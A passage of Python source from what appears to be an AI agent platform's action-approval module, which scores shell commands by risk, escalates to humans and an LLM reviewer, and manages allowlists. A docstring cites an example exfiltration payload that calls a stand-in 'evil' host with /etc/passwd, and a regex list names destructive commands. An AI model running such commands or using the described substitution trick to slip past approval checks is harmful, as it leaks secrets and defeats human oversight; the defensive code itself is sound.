preview = self._command_preview(command)
|
|
return [preview] if preview else ["*"]
|
|
|
|
candidates: list[str] = []
|
|
if isinstance(arguments, dict):
|
|
for key in (
|
|
"path",
|
|
"target",
|
|
"working_directory",
|
|
"workdir",
|
|
"cwd",
|
|
"url",
|
|
"recipient",
|
|
"query",
|
|
"message",
|
|
"subject",
|
|
):
|
|
value = str(arguments.get(key, "")).strip()
|
|
if value:
|
|
candidates.append(value)
|
|
if not candidates:
|
|
candidates.append("*")
|
|
return list(dict.fromkeys(candidates))
|
|
|
|
if action_kind == "external_agent":
|
|
preview = self._command_preview(metadata.get("command"))
|
|
return [preview] if preview else ["*"]
|
|
|
|
return ["*"]
|
|
|
|
def _build_allowlist_patterns(
|
|
self,
|
|
*,
|
|
action_kind: str,
|
|
action_name: str,
|
|
metadata: dict[str, Any],
|
|
) -> list[str]:
|
|
if action_kind == "tool":
|
|
arguments = metadata.get("arguments", {})
|
|
if action_name == "shell_exec" and isinstance(arguments, dict):
|
|
_, prefixes = self._extract_shell_command_targets(str(arguments.get("command", "")).strip())
|
|
if prefixes:
|
|
return prefixes
|
|
preview = self._command_preview(arguments.get("command"))
|
|
return [preview] if preview else []
|
|
return ["*"]
|
|
|
|
return ["*"]
|
|
|
|
def _extract_shell_command_targets(self, command: str) -> tuple[list[str], list[str]]:
|
|
commands: list[str] = []
|
|
prefixes: list[str] = []
|
|
for tokens in self._split_shell_command_segments(command):
|
|
full = " ".join(tokens).strip()
|
|
if full:
|
|
commands.append(full)
|
|
prefix_tokens = self._shell_command_prefix(tokens)
|
|
prefix = " ".join(prefix_tokens).strip()
|
|
if prefix:
|
|
prefixes.append(prefix)
|
|
if not commands:
|
|
preview = self._command_preview(command)
|
|
if preview:
|
|
commands.append(preview)
|
|
prefixes.append(preview)
|
|
return list(dict.fromkeys(commands)), list(dict.fromkeys(prefixes))
|
|
|
|
def _command_has_redirection(self, command: str) -> bool:
|
|
text = str(command or "").replace("\r\n", "\n").replace("\n", " ; ").strip()
|
|
if not text:
|
|
return False
|
|
try:
|
|
lexer = shlex.shlex(text, posix=True, punctuation_chars=";&|<>")
|
|
lexer.whitespace_split = True
|
|
lexer.commenters = ""
|
|
tokens = list(lexer)
|
|
except ValueError:
|
|
return any(marker in text for marker in (">", "<"))
|
|
return any(token in {">", ">>", "<", "<<"} for token in tokens)
|
|
|
|
def _command_has_shell_substitution(self, command: str) -> bool:
|
|
"""Detect shell command substitution / dynamic eval inside a command.
|
|
|
|
``curl``, ``echo``, ``find`` and friends appear in ``safe_command_prefixes``,
|
|
so a command whose first token matches one of them is auto-approved as LOW risk.
|
|
Without this check, a payload such as ``curl http://evil/$(cat /etc/passwd)``
|
|
tokenizes to a single segment beginning with ``curl`` — bash expands the
|
|
``$(...)`` before invoking curl, silently exfiltrating data with no human/LLM
|
|
review. The shlex tokenizer used here treats ``$`` as an ordinary character, so
|
|
command substitution must be flagged explicitly.
|
|
"""
|
|
text = str(command or "")
|
|
if "$(" in text or "`" in text:
|
|
return True
|
|
# ``eval`` / ``source`` let a "safe" prefix execute an arbitrary follow-up
|
|
# arg, but only when they are the command itself. As ordinary arguments
|
|
# (``grep source config.py``) they are inert; flagging them there only
|
|
# produces false approval prompts.
|
|
for tokens in self._split_shell_command_segments(text):
|
|
if tokens and tokens[0] in {"eval", "source", "."}:
|
|
return True
|
|
return False
|
|
|
|
def _command_matches_safe_prefix(self, command: str, prefixes: list[str]) -> bool:
|
|
cleaned = " ".join(str(command or "").split()).strip()
|
|
if not cleaned:
|
|
return False
|
|
# Discarding stderr or duplicating fds writes nothing, and agents
|
|
# habitually append `2>&1` / `2>/dev/null` to read-only commands; strip
|
|
# those before the redirection check so they alone do not disqualify a
|
|
# command. Anything else touching `>`/`>>`/`<` still fails.
|
|
sanitized = _SAFE_REDIRECTION_RE.sub(" ", cleaned)
|
|
if self._command_has_redirection(sanitized):
|
|
return False
|
|
if self._command_has_shell_substitution(sanitized):
|
|
return False
|
|
commands, command_prefixes = self._extract_shell_command_targets(sanitized)
|
|
if not commands or not command_prefixes:
|
|
return False
|
|
candidates = [
|
|
candidate
|
|
for candidate in (str(item or "").strip().casefold() for item in prefixes)
|
|
if candidate
|
|
]
|
|
if not candidates:
|
|
return False
|
|
# A compound command (`ls a && echo --- && ls b`, `git status | head`)
|
|
# qualifies only when every segment independently matches a safe prefix.
|
|
for prefix in command_prefixes:
|
|
normalized_prefix = prefix.casefold()
|
|
if not any(
|
|
normalized_prefix == candidate or normalized_prefix.startswith(f"{candidate} ")
|
|
for candidate in candidates
|
|
):
|
|
return False
|
|
return True
|
|
|
|
def _is_low_risk_shell_first_use_exempt(self, action_name: str, metadata: dict[str, Any]) -> bool:
|
|
if action_name != "shell_exec":
|
|
return False
|
|
arguments = metadata.get("arguments", {})
|
|
if not isinstance(arguments, dict):
|
|
return False
|
|
command = str(arguments.get("command", "") or arguments.get("cmd", "")).strip()
|
|
if not command:
|
|
return False
|
|
return is_projection_scoped_acquisition_shell_command(
|
|
command=command,
|
|
projection_id=work_item_projection_id_from_metadata(metadata, fallback=""),
|
|
role_id=str(metadata.get("role_id", "") or "").strip(),
|
|
working_directory=str(arguments.get("working_directory", "") or arguments.get("workdir", "") or "").strip(),
|
|
target_output_dir=str(metadata.get("target_output_dir", "") or "").strip(),
|
|
)
|
|
|
|
def _split_shell_command_segments(self, command: str) -> list[list[str]]:
|
|
text = str(command or "").replace("\r\n", "\n").replace("\n", " ; ").strip()
|
|
if not text:
|
|
return []
|
|
try:
|
|
lexer = shlex.shlex(text, posix=True, punctuation_chars=";&|")
|
|
lexer.whitespace_split = True
|
|
lexer.commenters = ""
|
|
tokens = list(lexer)
|
|
except ValueError:
|
|
try:
|
|
tokens = shlex.split(text)
|
|
except ValueError:
|
|
tokens = text.split()
|
|
|
|
segments: list[list[str]] = []
|
|
current: list[str] = []
|
|
for token in tokens:
|
|
if token in _SHELL_CONTROL_TOKENS:
|
|
if current:
|
|
segments.append(current)
|
|
current = []
|
|
continue
|
|
current.append(token)
|
|
if current:
|
|
segments.append(current)
|
|
return segments
|
|
|
|
def _shell_command_prefix(self, tokens: list[str]) -> list[str]:
|
|
semantic = self._shell_semantic_tokens(tokens)
|
|
for length in range(len(semantic), 0, -1):
|
|
prefix = " ".join(semantic[:length])
|
|
arity = _SHELL_COMMAND_PREFIX_ARITY.get(prefix)
|
|
if arity is not None:
|
|
return semantic[:arity]
|
|
if not semantic:
|
|
return []
|
|
if semantic[0] in {"python", "python3", "node", "bun", "deno"} and len(semantic) > 1:
|
|
if semantic[0] in {"python", "python3"} and semantic[1].startswith("<"):
|
|
return semantic[:1]
|
|
return semantic[:2]
|
|
return semantic[:1]
|
|
|
|
def _shell_semantic_tokens(self, tokens: list[str]) -> list[str]:
|
|
if not tokens:
|
|
return []
|
|
semantic = [tokens[0]]
|
|
i = 1
|
|
while i < len(tokens):
|
|
token = tokens[i]
|
|
if token.startswith("-"):
|
|
if token in {
|
|
"-C",
|
|
"-c",
|
|
"-m",
|
|
"-n",
|
|
"-p",
|
|
"--context",
|
|
"--cwd",
|
|
"--directory",
|
|
"--git-dir",
|
|
"--namespace",
|
|
"--profile",
|
|
"--project",
|
|
"--work-tree",
|
|
} and i + 1 < len(tokens):
|
|
i += 2
|
|
continue
|
|
i += 1
|
|
continue
|
|
semantic.append(token)
|
|
i += 1
|
|
return semantic
|
|
|
|
def _heuristic_decision(
|
|
self,
|
|
action_kind: str,
|
|
action_name: str,
|
|
summary: str,
|
|
metadata: dict[str, Any],
|
|
learned: dict[str, Any],
|
|
allow_auto: bool,
|
|
) -> ApprovalDecision:
|
|
approval_mode = str(metadata.get("approval_mode", "") or "").strip().lower()
|
|
if (
|
|
action_kind == "external_agent"
|
|
and approval_mode in {"auto", "user-settings"}
|
|
and str(metadata.get("command", "") or "").strip()
|
|
):
|
|
if not allow_auto:
|
|
return ApprovalDecision(
|
|
action=ApprovalAction.ESCALATE,
|
|
risk_level=RiskLevel.MEDIUM,
|
|
rationale=(
|
|
f"External agent launch uses OpenOPC approval mode `{approval_mode}`, "
|
|
"but external-agent auto-approval is disabled; direct user approval is required before start."
|
|
),
|
|
confidence=0.95,
|
|
policy_source="external_agent_launch_policy",
|
|
metadata=metadata,
|
|
)
|
|
return ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=RiskLevel.LOW,
|
|
rationale=(
|
|
f"External agent launch uses OpenOPC approval mode `{approval_mode}`; "
|
|
"startup is audited while runtime permission requests remain bridged to OpenOPC."
|
|
),
|
|
confidence=0.95,
|
|
policy_source="external_agent_launch_policy",
|
|
metadata=metadata,
|
|
)
|
|
|
|
sensitive_text, destructive_text, command = self._build_risk_inputs(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
summary=summary,
|
|
metadata=metadata,
|
|
)
|
|
reasons: list[str] = []
|
|
risk = RiskLevel.LOW
|
|
|
|
explicit_allow = bool(learned.get("explicit_allow"))
|
|
explicit_deny = bool(learned.get("explicit_deny"))
|
|
approvals = int(learned.get("approvals", 0))
|
|
rejections = int(learned.get("rejections", 0))
|
|
|
|
if explicit_deny:
|
|
return ApprovalDecision(
|
|
action=ApprovalAction.ESCALATE,
|
|
risk_level=RiskLevel.HIGH,
|
|
rationale="This action family was explicitly denied before.",
|
|
confidence=0.95,
|
|
policy_source="learned_policy",
|
|
metadata=metadata,
|
|
)
|
|
|
|
for keyword in self.config.sensitive_keywords:
|
|
if self._matches_sensitive_keyword(sensitive_text, keyword):
|
|
risk = RiskLevel.HIGH
|
|
reasons.append(f"Matched sensitive keyword: {keyword}")
|
|
|
|
destructive_patterns = [
|
|
r"\brm\s+-rf\b",
|
|
r"\bdrop\s+table\b",
|
|
r"\btruncate\b",
|
|
r"\bdelete\s+from\b",
|
|
r"\bterraform\s+destroy\b",
|
|
r"\bgit\s+push\s+--force\b",
|
|
r"\bchmod\s+777\b",
|
|
]
|
|
for pattern in destructive_patterns:
|
|
if re.search(pattern, destructive_text):
|
|
risk = RiskLevel.CRITICAL
|
|
reasons.append(f"Matched destructive pattern: {pattern}")
|
|
|
|
if command:
|
|
projection_scoped_low_risk = is_projection_scoped_acquisition_shell_command(
|
|
command=command,
|
|
projection_id=work_item_projection_id_from_metadata(metadata, fallback=""),
|
|
role_id=str(metadata.get("role_id", "") or "").strip(),
|
|
working_directory=str(
|
|
dict(metadata.get("arguments", {}) or {}).get("working_directory", "")
|
|
or dict(metadata.get("arguments", {}) or {}).get("workdir", "")
|
|
or ""
|
|
).strip(),
|
|
target_output_dir=str(metadata.get("target_output_dir", "") or "").strip(),
|
|
)
|
|
safe_prefixes = [
|
|
item for item in self.config.safe_command_prefixes
|
|
if projection_scoped_low_risk or str(item or "").strip() not in _LOW_RISK_SHELL_PREFIXES
|
|
]
|
|
if projection_scoped_low_risk:
|
|
reasons.append("Command matches a projection-scoped acquisition prefix inside the assigned workspace.")
|
|
elif self._command_matches_safe_prefix(command, safe_prefixes):
|
|
reasons.append("Command matches known low-risk prefix.")
|
|
elif risk == RiskLevel.LOW:
|
|
risk = RiskLevel.MEDIUM
|
|
reasons.append("Command is not in the low-risk allowlist.")
|
|
|
|
if approvals >= 3 and rejections == 0 and explicit_allow and allow_auto and risk != RiskLevel.CRITICAL:
|
|
return ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=RiskLevel.LOW if risk == RiskLevel.LOW else RiskLevel.MEDIUM,
|
|
rationale="Learned project policy explicitly allows this action family.",
|
|
confidence=0.95,
|
|
policy_source="learned_policy",
|
|
metadata=metadata,
|
|
)
|
|
|
|
if risk == RiskLevel.CRITICAL:
|
|
action = ApprovalAction.ESCALATE
|
|
elif risk == RiskLevel.HIGH:
|
|
action = ApprovalAction.ESCALATE
|
|
elif risk == RiskLevel.MEDIUM and not allow_auto:
|
|
action = ApprovalAction.ESCALATE
|
|
else:
|
|
action = ApprovalAction.AUTO_APPROVE if allow_auto else ApprovalAction.ESCALATE
|
|
|
|
if allow_auto and self._risk_exceeds_policy(risk):
|
|
action = ApprovalAction.ESCALATE
|
|
reasons.append("Risk exceeds configured auto-approval threshold.")
|
|
|
|
if rejections > approvals:
|
|
action = ApprovalAction.ESCALATE
|
|
reasons.append("Historical rejection rate is higher than approvals.")
|
|
|
|
confidence = 0.9 if action == ApprovalAction.ESCALATE and risk in {RiskLevel.HIGH, RiskLevel.CRITICAL} else 0.65
|
|
rationale = "; ".join(reasons) if reasons else "No sensitive patterns detected."
|
|
return ApprovalDecision(
|
|
action=action,
|
|
risk_level=risk,
|
|
rationale=rationale,
|
|
confidence=confidence,
|
|
policy_source="heuristic",
|
|
metadata=metadata,
|
|
)
|
|
|
|
def _build_risk_inputs(
|
|
self,
|
|
*,
|
|
action_kind: str,
|
|
action_name: str,
|
|
summary: str,
|
|
metadata: dict[str, Any],
|
|
) -> tuple[str, str, str]:
|
|
sensitive_fragments: list[str] = [action_name]
|
|
destructive_fragments: list[str] = [action_name]
|
|
command = ""
|
|
|
|
if action_kind == "external_agent":
|
|
external_keys = {
|
|
"agent",
|
|
"binary",
|
|
"model",
|
|
"model_flag",
|
|
"session_mode",
|
|
"run_mode",
|
|
"approval_mode",
|
|
"workspace",
|
|
"target_output_dir",
|
|
}
|
|
sensitive_fragments.extend(self._collect_named_values(metadata, external_keys))
|
|
command = self._command_preview(str(metadata.get("command", "")), drop_last_token=True)
|
|
if command:
|
|
sensitive_fragments.append(command)
|
|
destructive_fragments.append(command)
|
|
prompt_text = str(metadata.get("prompt_text", "")).strip()
|
|
if prompt_text:
|
|
destructive_fragments.append(prompt_text)
|
|
elif action_kind == "tool":
|
|
tool_keys = {
|
|
"tool",
|
|
"tool_name",
|
|
"command",
|
|
"cmd",
|
|
"argv",
|
|
"binary",
|
|
"subcommand",
|
|
"action",
|
|
"operation",
|
|
"path",
|
|
"paths",
|
|
"target",
|
|
"target_path",
|
|
"destination",
|
|
"workspace",
|
|
"workdir",
|
|
"cwd",
|
|
"url",
|
|
"urls",
|
|
"recipient",
|
|
"recipients",
|
|
"to",
|
|
"email",
|
|
"subject",
|
|
"sql",
|
|
"query",
|
|
"statement",
|
|
"script",
|
|
}
|
|
sensitive_fragments.extend(self._collect_named_values(metadata, tool_keys))
|
|
arguments = metadata.get("arguments", {})
|
|
command = (
|
|
self._command_preview(arguments.get("argv")) if isinstance(arguments, dict) else ""
|
|
) or (
|
|
self._command_preview(arguments.get("command")) if isinstance(arguments, dict) else ""
|
|
) or (
|
|
self._command_preview(arguments.get("cmd")) if isinstance(arguments, dict) else ""
|
|
) or self._command_preview(metadata.get("command"))
|
|
if command:
|
|
sensitive_fragments.append(command)
|
|
destructive_fragments.append(command)
|
|
else:
|
|
generic_keys = {
|
|
"role_id",
|
|
"work_item_projection_title",
|
|
"work_item_projection_id",
|
|
"company_profile",
|
|
"gate_type",
|
|
"command",
|
|
"cmd",
|
|
"path",
|
|
"target",
|
|
"workspace",
|
|
}
|
|
summary_text = str(summary).strip()
|
|
if summary_text:
|
|
sensitive_fragments.append(summary_text)
|
|
destructive_fragments.append(summary_text)
|
|
sensitive_fragments.extend(self._collect_named_values(metadata, generic_keys))
|
|
command = self._command_preview(metadata.get("command")) or self._command_preview(metadata.get("cmd"))
|
|
if command:
|
|
destructive_fragments.append(command)
|
|
|
|
sensitive_text = "\n".join(dict.fromkeys(fragment for fragment in sensitive_fragments if fragment)).lower()
|
|
destructive_text = "\n".join(
|
|
dict.fromkeys(fragment for fragment in [*sensitive_fragments, *destructive_fragments] if fragment)
|
|
).lower()
|
|
normalized_command = " ".join(command.split()).strip().lower()
|
|
return sensitive_text, destructive_text, normalized_command
|
|
|
|
def _collect_named_values(
|
|
self,
|
|
value: Any,
|
|
allowed_keys: set[str],
|
|
*,
|
|
current_key: str = "",
|
|
) -> list[str]:
|
|
if isinstance(value, dict):
|
|
fragments: list[str] = []
|
|
for key, item in value.items():
|
|
fragments.extend(
|
|
self._collect_named_values(
|
|
item,
|
|
allowed_keys,
|
|
current_key=self._normalize_key(key),
|
|
)
|
|
)
|
|
return fragments
|
|
if isinstance(value, (list, tuple, set)):
|
|
fragments: list[str] = []
|
|
for item in value:
|
|
fragments.extend(self._collect_named_values(item, allowed_keys, current_key=current_key))
|
|
return fragments
|
|
if current_key and current_key in allowed_keys:
|
|
text = str(value).strip()
|
|
return [text] if text else []
|
|
return []
|
|
|
|
def _command_preview(self, raw: Any, *, drop_last_token: bool = False) -> str:
|
|
if isinstance(raw, (list, tuple)):
|
|
tokens = [str(item).strip() for item in raw if str(item).strip()]
|
|
else:
|
|
text = str(raw or "").strip()
|
|
if not text:
|
|
return ""
|
|
try:
|
|
tokens = shlex.split(text)
|
|
except ValueError:
|
|
tokens = text.split()
|
|
|
|
if drop_last_token and len(tokens) > 1:
|
|
tokens = tokens[:-1]
|
|
|
|
preview: list[str] = []
|
|
for token in tokens[:20]:
|
|
if not token:
|
|
continue
|
|
if "\n" in token or len(token) > 200:
|
|
break
|
|
preview.append(token)
|
|
return " ".join(preview)
|
|
|
|
def _command_for_user(self, raw: Any, *, drop_last_token: bool = False) -> str:
|
|
if isinstance(raw, (list, tuple)):
|
|
tokens = [str(item).strip() for item in raw if str(item).strip()]
|
|
if drop_last_token and len(tokens) > 1:
|
|
tokens = tokens[:-1]
|
|
return shlex.join(tokens) if tokens else ""
|
|
|
|
text = str(raw or "").strip()
|
|
if not text:
|
|
return ""
|
|
if not drop_last_token:
|
|
return text
|
|
try:
|
|
tokens = shlex.split(text)
|
|
except ValueError:
|
|
tokens = text.split()
|
|
if len(tokens) > 1:
|
|
return " ".join(tokens[:-1])
|
|
return text
|
|
|
|
def _matches_sensitive_keyword(self, text: str, keyword: str) -> bool:
|
|
normalized = str(keyword or "").strip().lower()
|
|
if not normalized:
|
|
return False
|
|
escaped = re.escape(normalized)
|
|
escaped = re.sub(r"(?:\\ )+", r"\\s+", escaped)
|
|
return re.search(rf"(?<!\w){escaped}(?!\w)", text) is not None
|
|
|
|
def _normalize_key(self, key: Any) -> str:
|
|
return re.sub(r"[^a-z0-9]+", "_", str(key).strip().lower()).strip("_")
|
|
|
|
def _summarize_metadata_for_user(self, action_kind: str, metadata: dict[str, Any]) -> str:
|
|
if action_kind == "external_agent":
|
|
parts = [
|
|
f"agent={metadata.get('agent', '')}",
|
|
f"binary={metadata.get('binary', '')}",
|
|
f"command={self._command_preview(str(metadata.get('command', '')), drop_last_token=True)}",
|
|
f"workspace={metadata.get('workspace', '')}",
|
|
f"session_mode={metadata.get('session_mode', '')}",
|
|
f"run_mode={metadata.get('run_mode', '')}",
|
|
f"approval_mode={metadata.get('approval_mode', '')}",
|
|
]
|
|
return "; ".join(part for part in parts if not part.endswith("="))[:1000]
|
|
if action_kind == "tool":
|
|
arguments = metadata.get("arguments", {})
|
|
command = (
|
|
self._command_for_user(arguments.get("argv")) if isinstance(arguments, dict) else ""
|
|
) or (
|
|
self._command_for_user(arguments.get("command")) if isinstance(arguments, dict) else ""
|
|
) or (
|
|
self._command_for_user(arguments.get("cmd")) if isinstance(arguments, dict) else ""
|
|
) or self._command_for_user(metadata.get("command"))
|
|
parts = [
|
|
f"tool={metadata.get('tool', '')}",
|
|
f"command={command}",
|
|
f"path={arguments.get('path', '') if isinstance(arguments, dict) else ''}",
|
|
f"target={arguments.get('target', '') if isinstance(arguments, dict) else ''}",
|
|
]
|
|
return "; ".join(part for part in parts if not part.endswith("="))
|
|
return str(metadata)[:1000]
|
|
|
|
def _risk_exceeds_policy(self, risk: RiskLevel) -> bool:
|
|
order = {
|
|
RiskLevel.LOW: 0,
|
|
RiskLevel.MEDIUM: 1,
|
|
RiskLevel.HIGH: 2,
|
|
RiskLevel.CRITICAL: 3,
|
|
}
|
|
configured = self.config.max_auto_approve_risk.lower()
|
|
configured_risk = {
|
|
"low": RiskLevel.LOW,
|
|
"medium": RiskLevel.MEDIUM,
|
|
"high": RiskLevel.HIGH,
|
|
"critical": RiskLevel.CRITICAL,
|
|
}.get(configured, RiskLevel.MEDIUM)
|
|
return order[risk] > order[configured_risk]
|
|
|
|
async def _llm_review(
|
|
self,
|
|
task: Task | None,
|
|
action_kind: str,
|
|
action_name: str,
|
|
summary: str,
|
|
metadata: dict[str, Any],
|
|
learned: dict[str, Any],
|
|
) -> ApprovalDecision | None:
|
|
model = self.config.approval_model or self.llm.config.default_model
|
|
prompt = {
|
|
"task_title": task.title if task else "",
|
|
"project_id": task.project_id if task else "default",
|
|
"action_kind": action_kind,
|
|
"action_name": action_name,
|
|
"summary": summary,
|
|
"metadata": metadata,
|
|
"learned_policy": learned,
|
|
"policy": {
|
|
"max_auto_approve_risk": self.config.max_auto_approve_risk,
|
|
"approval_confidence_threshold": self.config.approval_confidence_threshold,
|
|
},
|
|
}
|
|
system = (
|
|
"You are the autonomy approval reviewer for an AI execution system.\n"
|
|
"Decide whether an action should be AUTO_APPROVE or ESCALATE.\n"
|
|
"Return strict JSON with keys: action, risk_level, confidence, rationale.\n"
|
|
"Use risk_level in [low, medium, high, critical].\n"
|
|
"If the action touches credentials, irreversible destructive changes, or external communications, escalate."
|
|
)
|
|
valid_actions = {item.value for item in ApprovalAction}
|
|
valid_risk_levels = {item.value for item in RiskLevel}
|
|
|
|
def _validate_approval(parsed: Any) -> str | None:
|
|
if not isinstance(parsed, dict):
|
|
return "Top-level response must be a JSON object."
|
|
action_str = str(parsed.get("action", "") or "").strip().lower()
|
|
if action_str not in valid_actions:
|
|
return (
|
|
f"Unknown action `{action_str}`. Choose one of: "
|
|
f"{', '.join(sorted(valid_actions))}."
|
|
)
|
|
risk_str = str(parsed.get("risk_level", "") or "").strip().lower()
|
|
if risk_str not in valid_risk_levels:
|
|
return (
|
|
f"Unknown risk_level `{risk_str}`. Choose one of: "
|
|
f"{', '.join(sorted(valid_risk_levels))}."
|
|
)
|
|
try:
|
|
float(parsed.get("confidence", 0.5))
|
|
except (TypeError, ValueError):
|
|
return "`confidence` must be a number between 0 and 1."
|
|
return None
|
|
|
|
try:
|
|
data = await call_llm_json_with_retry(
|
|
self.llm,
|
|
system=system,
|
|
payload=prompt,
|
|
task_type="quick_tasks",
|
|
validator=_validate_approval,
|
|
label="approval_llm_review",
|
|
)
|
|
return ApprovalDecision(
|
|
action=ApprovalAction(str(data.get("action", "escalate")).lower()),
|
|
risk_level=RiskLevel(str(data.get("risk_level", "medium")).lower()),
|
|
rationale=data.get("rationale", ""),
|
|
confidence=float(data.get("confidence", 0.5)),
|
|
policy_source=f"llm:{model}",
|
|
metadata=metadata,
|
|
)
|
|
except LLMRetryError as e:
|
|
logger.debug(f"Approval LLM review failed after retries: {e}")
|
|
return None
|
|
except Exception as e:
|
|
logger.debug(f"Approval LLM review construction failed: {e}")
|
|
return None
|
|
|
|
def _merge_decisions(self, heuristic: ApprovalDecision, llm_decision: ApprovalDecision) -> ApprovalDecision:
|
|
if heuristic.risk_level == RiskLevel.CRITICAL:
|
|
return heuristic
|
|
threshold = self.config.approval_confidence_threshold
|
|
if llm_decision.action == ApprovalAction.AUTO_APPROVE and llm_decision.confidence >= threshold:
|
|
return llm_decision
|
|
if llm_decision.risk_level in {RiskLevel.HIGH, RiskLevel.CRITICAL}:
|
|
return llm_decision
|
|
return heuristic
|
|
|
|
def _format_allowlist_hint(self, action_kind: str, action_name: str, patterns: list[str]) -> str:
|
|
if not patterns:
|
|
return ""
|
|
if action_kind == "tool" and action_name == "shell_exec":
|
|
return ", ".join(patterns[:4])
|
|
if patterns == ["*"]:
|
|
return f"{action_kind}:{action_name}"
|
|
return ", ".join(patterns[:4])
|
|
|
|
async def _ask_user(
|
|
self,
|
|
task: Task,
|
|
action_kind: str,
|
|
action_name: str,
|
|
decision: ApprovalDecision,
|
|
metadata: dict[str, Any],
|
|
) -> tuple[bool, ApprovalDecision]:
|
|
if not self.escalation:
|
|
return False, decision
|
|
allowlist_enabled = self._allowlist_enabled_for_action(action_kind, metadata)
|
|
allowlist_patterns = (
|
|
self._build_allowlist_patterns(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
metadata=metadata,
|
|
)
|
|
if allowlist_enabled
|
|
else []
|
|
)
|
|
allowlist_hint = self._format_allowlist_hint(action_kind, action_name, allowlist_patterns)
|
|
question = (
|
|
f"Approve {action_kind} '{action_name}'?\n"
|
|
f"Risk: {decision.risk_level.value}\n"
|
|
f"Reason: {decision.rationale}\n"
|
|
f"Summary: {self._summarize_metadata_for_user(action_kind, metadata)}"
|
|
)
|
|
if allowlist_hint:
|
|
question += f"\nAllowlist target: {allowlist_hint}"
|
|
options = [
|
|
{"id": "approve_once", "label": "Approve once"},
|
|
{"id": "deny", "label": "Deny"},
|
|
]
|
|
if allowlist_enabled:
|
|
options[1:1] = [{"id": "approve_session", "label": "Allow for this session"}]
|
|
options.extend([
|
|
{"id": "always_project", "label": "Always allow for this project"},
|
|
{"id": "always_global", "label": "Always allow globally"},
|
|
])
|
|
approval_context = {
|
|
"action_kind": action_kind,
|
|
"action_name": action_name,
|
|
"project_id": str(task.project_id or "") if task else "",
|
|
"session_scope_id": self._approval_session_scope_id(task),
|
|
"allowlist_enabled": allowlist_enabled,
|
|
"allowlist_patterns": list(allowlist_patterns),
|
|
"candidates": self._build_allowlist_candidates(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
metadata=metadata,
|
|
),
|
|
}
|
|
reply = await self.escalation.escalate_decision(
|
|
task,
|
|
question,
|
|
options,
|
|
default_action=None,
|
|
context=approval_context,
|
|
)
|
|
if reply is None:
|
|
return False, ApprovalDecision(
|
|
action=ApprovalAction.REQUIRE_INPUT,
|
|
risk_level=decision.risk_level,
|
|
rationale=f"{decision.rationale} | Awaiting user input.",
|
|
confidence=1.0,
|
|
requires_user_input=True,
|
|
policy_source="human_escalation",
|
|
metadata={**metadata, "human_reply": None},
|
|
)
|
|
if not allowlist_enabled and reply in {"approve_session", "always_project", "always_global"}:
|
|
reply = "approve_once"
|
|
approved = reply in {"approve_once", "approve_session", "always_project", "always_global"}
|
|
explicit = reply in {"approve_session", "always_project", "always_global"}
|
|
notes = "User approved via escalation." if approved else "User denied via escalation."
|
|
saved_patterns: list[str] = []
|
|
allowlist_scope: str | None = None
|
|
if reply == "approve_session":
|
|
saved_patterns = self._add_session_patterns(
|
|
task=task,
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
patterns=allowlist_patterns,
|
|
)
|
|
session_scope_id = self._approval_session_scope_id(task)
|
|
if session_scope_id:
|
|
allowlist_scope = f"session:{session_scope_id}"
|
|
elif reply == "always_project" and self.allowlist:
|
|
saved_patterns = self.allowlist.add_patterns(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
patterns=allowlist_patterns,
|
|
project_id=task.project_id,
|
|
)
|
|
allowlist_scope = f"project:{task.project_id}"
|
|
elif reply == "always_global" and self.allowlist:
|
|
saved_patterns = self.allowlist.add_patterns(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
patterns=allowlist_patterns,
|
|
project_id=None,
|
|
)
|
|
allowlist_scope = "global"
|
|
self.preferences.record_autonomy_feedback(
|
|
action_name=action_name,
|
|
approved=approved,
|
|
project_id=task.project_id if reply == "always_project" else None,
|
|
explicit=explicit,
|
|
notes=notes,
|
|
)
|
|
result_metadata = {**metadata, "human_reply": reply}
|
|
if saved_patterns:
|
|
result_metadata["allowlist_patterns"] = saved_patterns
|
|
if allowlist_scope:
|
|
result_metadata["allowlist_scope"] = allowlist_scope
|
|
return approved, ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE if approved else ApprovalAction.REJECT,
|
|
risk_level=decision.risk_level,
|
|
rationale=f"{decision.rationale} | User decision: {reply}",
|
|
confidence=1.0,
|
|
requires_user_input=False,
|
|
policy_source="human_escalation",
|
|
metadata=result_metadata,
|
|
)
|
|
|
|
def apply_deferred_escalation_decision(
|
|
self,
|
|
reply: str,
|
|
context: dict[str, Any],
|
|
) -> dict[str, Any]:
|
|
"""Apply a decision clicked on an approval card after its inline wait
|
|
expired (the blocked task has parked on AWAITING_HUMAN by then).
|
|
|
|
Persists the same allowlist grant the live path would have applied, so
|
|
the re-run of the blocked action passes automatically. ``context`` is
|
|
the ``approval_context`` the card was created with. Returns a summary
|
|
{approved, scope, patterns} for UI messaging.
|
|
"""
|
|
normalized_reply = str(reply or "").strip()
|
|
context = dict(context or {})
|
|
action_kind = str(context.get("action_kind", "") or "").strip()
|
|
action_name = str(context.get("action_name", "") or "").strip()
|
|
project_id = str(context.get("project_id", "") or "").strip() or None
|
|
session_scope_id = str(context.get("session_scope_id", "") or "").strip()
|
|
allowlist_enabled = bool(context.get("allowlist_enabled", False))
|
|
allowlist_patterns = [
|
|
str(item).strip() for item in list(context.get("allowlist_patterns", []) or [])
|
|
if str(item).strip()
|
|
]
|
|
exact_candidates = [
|
|
str(item).strip() for item in list(context.get("candidates", []) or [])
|
|
if str(item).strip()
|
|
]
|
|
if not allowlist_enabled and normalized_reply in {"approve_session", "always_project", "always_global"}:
|
|
normalized_reply = "approve_once"
|
|
approved = normalized_reply in {"approve_once", "approve_session", "always_project", "always_global"}
|
|
|
|
saved_patterns: list[str] = []
|
|
scope: str | None = None
|
|
if normalized_reply == "approve_session" and session_scope_id and allowlist_patterns:
|
|
saved_patterns = self._add_session_patterns_by_scope(
|
|
session_scope_id=session_scope_id,
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
patterns=allowlist_patterns,
|
|
)
|
|
scope = f"session:{session_scope_id}"
|
|
elif normalized_reply == "approve_once" and session_scope_id:
|
|
# No one-shot grant store exists; the narrowest durable equivalent
|
|
# is a session grant for the exact blocked command(s), so the
|
|
# resumed run passes without widening approval to the whole family.
|
|
